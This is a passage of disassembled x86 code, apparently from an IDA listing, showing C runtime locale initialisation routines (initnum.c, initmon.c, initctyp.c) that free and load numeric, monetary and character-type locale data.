		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+34h]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+38h]
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+3Ch]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+40h]
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+44h]
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+48h]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4Ch]
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+50h]
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+54h]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+58h]
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+5Ch]
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+60h]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+64h]
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+68h]
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+6Ch]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+70h]
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+74h]
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+78h]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+7Ch]
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+80h]
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+84h]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+88h]
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8Ch]
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+90h]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+94h]
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+98h]
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+9Ch]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0A0h]
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0A4h]
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0A8h]
		push	ecx
		call	sub_41CA10
		add	esp, 8

loc_4342E9:				; CODE XREF: sub_433FE0+9j
		pop	ebp
		retn
sub_433FE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4342F0	proc near		; DATA XREF: .packed:004543B8o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		xor	eax, eax
		mov	ax, word_4F370A
		mov	[ebp+var_4], eax
		cmp	dword_4F34C0, 0
		jz	loc_43446A
		push	offset dword_4F36D8
		push	0Eh
		mov	ecx, [ebp+var_4]
		push	ecx
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	edx, [ebp+var_8]
		or	edx, eax
		mov	[ebp+var_8], edx
		push	offset dword_4F36DC
		push	0Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		push	offset dword_4F36E0
		push	10h
		mov	edx, [ebp+var_4]
		push	edx
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, dword_4F36E0
		push	edx
		call	sub_4345A0
		add	esp, 4
		cmp	[ebp+var_8], 0
		jz	short loc_4343D9
		push	2
		mov	eax, dword_4F36D8
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, dword_4F36DC
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, dword_4F36E0
		push	edx
		call	sub_41CA10
		add	esp, 8
		mov	dword_4F36D8, 0
		mov	dword_4F36DC, 0
		mov	dword_4F36E0, 0
		or	eax, 0FFFFFFFFh
		jmp	loc_434592
; ---------------------------------------------------------------------------

loc_4343D9:				; CODE XREF: sub_4342F0+8Fj
		mov	eax, off_454ED8
		cmp	dword ptr [eax], offset	dword_454EA0
		jz	short loc_434420
		push	2
		mov	ecx, off_454ED8
		mov	edx, [ecx]
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, off_454ED8
		mov	ecx, [eax+4]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, off_454ED8
		mov	eax, [edx+8]
		push	eax
		call	sub_41CA10
		add	esp, 8

loc_434420:				; CODE XREF: sub_4342F0+F4j
		mov	ecx, off_454ED8
		mov	edx, dword_4F36D8
		mov	[ecx], edx
		mov	eax, off_454ED8
		mov	ecx, dword_4F36DC
		mov	[eax+4], ecx
		mov	edx, off_454ED8
		mov	eax, dword_4F36E0
		mov	[edx+8], eax
		mov	ecx, off_454ED8
		mov	edx, [ecx]
		mov	al, [edx]
		mov	byte_453EB4, al
		mov	dword_453EB8, 1
		xor	eax, eax
		jmp	loc_434592
; ---------------------------------------------------------------------------

loc_43446A:				; CODE XREF: sub_4342F0+1Fj
		push	2
		mov	ecx, dword_4F36D8
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, dword_4F36DC
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, dword_4F36E0
		push	eax
		call	sub_41CA10
		add	esp, 8
		mov	dword_4F36D8, 0
		mov	dword_4F36DC, 0
		mov	dword_4F36E0, 0
		push	88h
		push	offset aInitnum_c ; "initnum.c"
		push	2
		push	2
		call	sub_41BE70
		add	esp, 10h
		mov	ecx, off_454ED8
		mov	[ecx], eax
		mov	edx, off_454ED8
		cmp	dword ptr [edx], 0
		jnz	short loc_4344EB
		or	eax, 0FFFFFFFFh
		jmp	loc_434592
; ---------------------------------------------------------------------------

loc_4344EB:				; CODE XREF: sub_4342F0+1F1j
		push	offset a__3	; "."
		mov	eax, off_454ED8
		mov	ecx, [eax]
		push	ecx
		call	sub_41F620
		add	esp, 8
		push	8Dh
		push	offset aInitnum_c ; "initnum.c"
		push	2
		push	2
		call	sub_41BE70
		add	esp, 10h
		mov	edx, off_454ED8
		mov	[edx+4], eax
		mov	eax, off_454ED8
		cmp	dword ptr [eax+4], 0
		jnz	short loc_43452F
		or	eax, 0FFFFFFFFh
		jmp	short loc_434592
; ---------------------------------------------------------------------------

loc_43452F:				; CODE XREF: sub_4342F0+238j
		mov	ecx, off_454ED8
		mov	edx, [ecx+4]
		mov	byte ptr [edx],	0
		push	92h
		push	offset aInitnum_c ; "initnum.c"
		push	2
		push	2
		call	sub_41BE70
		add	esp, 10h
		mov	ecx, off_454ED8
		mov	[ecx+8], eax
		mov	edx, off_454ED8
		cmp	dword ptr [edx+8], 0
		jnz	short loc_43456B
		or	eax, 0FFFFFFFFh
		jmp	short loc_434592
; ---------------------------------------------------------------------------

loc_43456B:				; CODE XREF: sub_4342F0+274j
		mov	eax, off_454ED8
		mov	ecx, [eax+8]
		mov	byte ptr [ecx],	0
		mov	edx, off_454ED8
		mov	eax, [edx]
		mov	cl, [eax]
		mov	byte_453EB4, cl
		mov	dword_453EB8, 1
		xor	eax, eax

loc_434592:				; CODE XREF: sub_4342F0+E4j
					; sub_4342F0+175j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4342F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4345A0	proc near		; CODE XREF: sub_4342F0+83p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx

loc_4345A4:				; CODE XREF: sub_4345A0:loc_434617j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_434619
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jl	short loc_4345DD
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 39h
		jg	short loc_4345DD
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		sub	ecx, 30h
		mov	edx, [ebp+arg_0]
		mov	[edx], cl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_434617
; ---------------------------------------------------------------------------

loc_4345DD:				; CODE XREF: sub_4345A0+17j
					; sub_4345A0+22j
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Bh
		jnz	short loc_43460E
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_4345EE:				; CODE XREF: sub_4345A0+6Aj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	al, [edx+1]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_4345EE
		jmp	short loc_434617
; ---------------------------------------------------------------------------

loc_43460E:				; CODE XREF: sub_4345A0+46j
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx

loc_434617:				; CODE XREF: sub_4345A0+3Bj
					; sub_4345A0+6Cj
		jmp	short loc_4345A4
; ---------------------------------------------------------------------------

loc_434619:				; CODE XREF: sub_4345A0+Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_4345A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434620	proc near		; DATA XREF: .packed:004543ACo

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4F34BC, 0
		jz	loc_4346EC
		push	4Ah
		push	offset aInitmon_c ; "initmon.c"
		push	2
		push	30h
		push	1
		call	sub_41C2D0
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_434659
		mov	eax, 1
		jmp	loc_43474C
; ---------------------------------------------------------------------------

loc_434659:				; CODE XREF: sub_434620+2Dj
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_434750
		add	esp, 4
		test	eax, eax
		jz	short loc_43468D
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4349E0
		add	esp, 4
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41CA10
		add	esp, 8
		mov	eax, 1
		jmp	loc_43474C
; ---------------------------------------------------------------------------

loc_43468D:				; CODE XREF: sub_434620+47j
		mov	eax, [ebp+var_4]
		mov	ecx, off_454ED8
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	ecx, off_454ED8
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_4]
		mov	ecx, off_454ED8
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_4]
		mov	off_454ED8, eax
		mov	ecx, dword_4F36E4
		push	ecx
		call	sub_4349E0
		add	esp, 4
		push	2
		mov	edx, dword_4F36E4
		push	edx
		call	sub_41CA10
		add	esp, 8
		mov	eax, [ebp+var_4]
		mov	dword_4F36E4, eax
		xor	eax, eax
		jmp	short loc_43474C
; ---------------------------------------------------------------------------

loc_4346EC:				; CODE XREF: sub_434620+Bj
		mov	ecx, off_454ED8
		mov	edx, [ecx]
		mov	off_454EA8, edx
		mov	eax, off_454ED8
		mov	ecx, [eax+4]
		mov	off_454EAC, ecx
		mov	edx, off_454ED8
		mov	eax, [edx+8]
		mov	off_454EB0, eax
		mov	off_454ED8, offset off_454EA8
		mov	ecx, dword_4F36E4
		push	ecx
		call	sub_4349E0
		add	esp, 4
		push	2
		mov	edx, dword_4F36E4
		push	edx
		call	sub_41CA10
		add	esp, 8
		mov	dword_4F36E4, 0
		xor	eax, eax

loc_43474C:				; CODE XREF: sub_434620+34j
					; sub_434620+68j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_434620	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434750	proc near		; CODE XREF: sub_434620+3Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		xor	eax, eax
		mov	ax, word_4F3704
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_434776
		or	eax, 0FFFFFFFFh
		jmp	loc_434959
; ---------------------------------------------------------------------------

loc_434776:				; CODE XREF: sub_434750+1Cj
		mov	ecx, [ebp+arg_0]
		add	ecx, 0Ch
		push	ecx
		push	15h
		mov	edx, [ebp+var_4]
		push	edx
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 10h
		push	edx
		push	14h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 14h
		push	edx
		push	16h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 18h
		push	edx
		push	17h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1Ch
		push	edx
		push	18h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		push	eax
		call	sub_434960
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		add	ecx, 20h
		push	ecx
		push	50h
		mov	edx, [ebp+var_4]
		push	edx
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 24h
		push	edx
		push	51h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 28h
		push	edx
		push	1Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 29h
		push	edx
		push	19h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Ah
		push	edx
		push	54h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Bh
		push	edx
		push	55h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Ch
		push	edx
		push	56h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Dh
		push	edx
		push	57h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Eh
		push	edx
		push	52h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Fh
		push	edx
		push	53h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	sub_438A00
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]

loc_434959:				; CODE XREF: sub_434750+21j
		mov	esp, ebp
		pop	ebp
		retn
sub_434750	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434960	proc near		; CODE XREF: sub_434750+C8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx

loc_434964:				; CODE XREF: sub_434960:loc_4349D7j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_4349D9
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 30h
		jl	short loc_43499D
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 39h
		jg	short loc_43499D
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		sub	ecx, 30h
		mov	edx, [ebp+arg_0]
		mov	[edx], cl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_4349D7
; ---------------------------------------------------------------------------

loc_43499D:				; CODE XREF: sub_434960+17j
					; sub_434960+22j
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Bh
		jnz	short loc_4349CE
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_4349AE:				; CODE XREF: sub_434960+6Aj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	al, [edx+1]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_4349AE
		jmp	short loc_4349D7
; ---------------------------------------------------------------------------

loc_4349CE:				; CODE XREF: sub_434960+46j
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx

loc_4349D7:				; CODE XREF: sub_434960+3Bj
					; sub_434960+6Cj
		jmp	short loc_434964
; ---------------------------------------------------------------------------

loc_4349D9:				; CODE XREF: sub_434960+Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_434960	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4349E0	proc near		; CODE XREF: sub_434620+4Dp
					; sub_434620+A7p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_4349EE
		jmp	loc_434A71
; ---------------------------------------------------------------------------

loc_4349EE:				; CODE XREF: sub_4349E0+7j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+0Ch], offset dword_4F3744
		jz	short loc_434A71
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+20h]
		push	eax
		call	sub_41CA10
		add	esp, 8
		push	2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+24h]
		push	edx
		call	sub_41CA10
		add	esp, 8

loc_434A71:				; CODE XREF: sub_4349E0+9j
					; sub_4349E0+18j
		pop	ebp
		retn
sub_4349E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434A80	proc near		; DATA XREF: .packed:004543A0o

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	[ebp+var_2C], 0
		mov	[ebp+var_28], 0
		cmp	dword_4F34B8, 0
		jz	loc_434DD1
		cmp	dword_4F34C8, 0
		jnz	short loc_434AD0
		push	offset dword_4F34C8
		push	1004h
		xor	eax, eax
		mov	ax, word_4F36FC
		push	eax
		push	0
		call	sub_438A00
		add	esp, 10h
		test	eax, eax
		jz	short loc_434AD0
		jmp	loc_434D92
; ---------------------------------------------------------------------------

loc_434AD0:				; CODE XREF: sub_434A80+28j
					; sub_434A80+49j
		push	5Ch
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	202h
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_30], eax
		push	5Eh
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	202h
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_1C], eax
		push	60h
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	101h
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_2C], eax
		push	62h
		push	offset aInitctyp_c ; "initctyp.c"
		push	2
		push	202h
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_28], eax
		cmp	[ebp+var_30], 0
		jz	short loc_434B4C
		cmp	[ebp+var_1C], 0
		jz	short loc_434B4C
		cmp	[ebp+var_2C], 0
		jz	short loc_434B4C
		cmp	[ebp+var_28], 0
		jnz	short loc_434B51

loc_434B4C:				; CODE XREF: sub_434A80+B8j
					; sub_434A80+BEj ...
		jmp	loc_434D92
; ---------------------------------------------------------------------------

loc_434B51:				; CODE XREF: sub_434A80+CAj
		mov	ecx, [ebp+var_2C]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_20], 0
		jmp	short loc_434B69
; ---------------------------------------------------------------------------

loc_434B60:				; CODE XREF: sub_434A80+103j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx

loc_434B69:				; CODE XREF: sub_434A80+DEj
		cmp	[ebp+var_20], 100h
		jge	short loc_434B85
		mov	eax, [ebp+var_18]
		mov	cl, byte ptr [ebp+var_20]
		mov	[eax], cl
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx
		jmp	short loc_434B60
; ---------------------------------------------------------------------------

loc_434B85:				; CODE XREF: sub_434A80+F0j
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, dword_4F34C8
		push	ecx
		call	dword_4F54E0	; GetCPInfo
		test	eax, eax
		jnz	short loc_434B9F
		jmp	loc_434D92
; ---------------------------------------------------------------------------

loc_434B9F:				; CODE XREF: sub_434A80+118j
		cmp	[ebp+var_14], 2
		jbe	short loc_434BAA
		jmp	loc_434D92
; ---------------------------------------------------------------------------

loc_434BAA:				; CODE XREF: sub_434A80+123j
		mov	edx, [ebp+var_14]
		and	edx, 0FFFFh
		mov	dword_453EB0, edx
		cmp	dword_453EB0, 1
		jle	short loc_434C19
		lea	eax, [ebp+var_E]
		mov	[ebp+var_18], eax
		jmp	short loc_434BD3
; ---------------------------------------------------------------------------

loc_434BCA:				; CODE XREF: sub_434A80:loc_434C17j
		mov	ecx, [ebp+var_18]
		add	ecx, 2
		mov	[ebp+var_18], ecx

loc_434BD3:				; CODE XREF: sub_434A80+148j
		mov	edx, [ebp+var_18]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_434C19
		mov	ecx, [ebp+var_18]
		xor	edx, edx
		mov	dl, [ecx+1]
		test	edx, edx
		jz	short loc_434C19
		mov	eax, [ebp+var_18]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_20], ecx
		jmp	short loc_434BFF
; ---------------------------------------------------------------------------

loc_434BF6:				; CODE XREF: sub_434A80+195j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx

loc_434BFF:				; CODE XREF: sub_434A80+174j
		mov	eax, [ebp+var_18]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	[ebp+var_20], ecx
		jg	short loc_434C17
		mov	edx, [ebp+var_2C]
		add	edx, [ebp+var_20]
		mov	byte ptr [edx],	0
		jmp	short loc_434BF6
; ---------------------------------------------------------------------------

loc_434C17:				; CODE XREF: sub_434A80+18Aj
		jmp	short loc_434BCA
; ---------------------------------------------------------------------------

loc_434C19:				; CODE XREF: sub_434A80+140j
					; sub_434A80+15Cj ...
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_30]
		add	eax, 2
		push	eax
		push	100h
		mov	ecx, [ebp+var_2C]
		push	ecx
		push	1
		call	sub_431210
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_434C42
		jmp	loc_434D92
; ---------------------------------------------------------------------------

loc_434C42:				; CODE XREF: sub_434A80+1BBj
		mov	edx, [ebp+var_30]
		mov	word ptr [edx],	0
		mov	eax, [ebp+var_28]
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], 0
		jmp	short loc_434C62
; ---------------------------------------------------------------------------

loc_434C59:				; CODE XREF: sub_434A80+1FEj
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx

loc_434C62:				; CODE XREF: sub_434A80+1D7j
		cmp	[ebp+var_20], 100h
		jge	short loc_434C80
		mov	edx, [ebp+var_24]
		mov	ax, word ptr [ebp+var_20]
		mov	[edx], ax
		mov	ecx, [ebp+var_24]
		add	ecx, 2
		mov	[ebp+var_24], ecx
		jmp	short loc_434C59
; ---------------------------------------------------------------------------

loc_434C80:				; CODE XREF: sub_434A80+1E9j
		push	0
		push	0
		mov	edx, [ebp+var_1C]
		add	edx, 2
		push	edx
		push	100h
		mov	eax, [ebp+var_28]
		push	eax
		push	1
		call	sub_438CA0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_434CA7
		jmp	loc_434D92
; ---------------------------------------------------------------------------

loc_434CA7:				; CODE XREF: sub_434A80+220j
		mov	ecx, [ebp+var_1C]
		mov	word ptr [ecx],	0
		cmp	dword_453EB0, 1
		jle	short loc_434D13
		lea	edx, [ebp+var_E]
		mov	[ebp+var_18], edx
		jmp	short loc_434CC9
; ---------------------------------------------------------------------------

loc_434CC0:				; CODE XREF: sub_434A80:loc_434D11j
		mov	eax, [ebp+var_18]
		add	eax, 2
		mov	[ebp+var_18], eax

loc_434CC9:				; CODE XREF: sub_434A80+23Ej
		mov	ecx, [ebp+var_18]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_434D13
		mov	eax, [ebp+var_18]
		xor	ecx, ecx
		mov	cl, [eax+1]
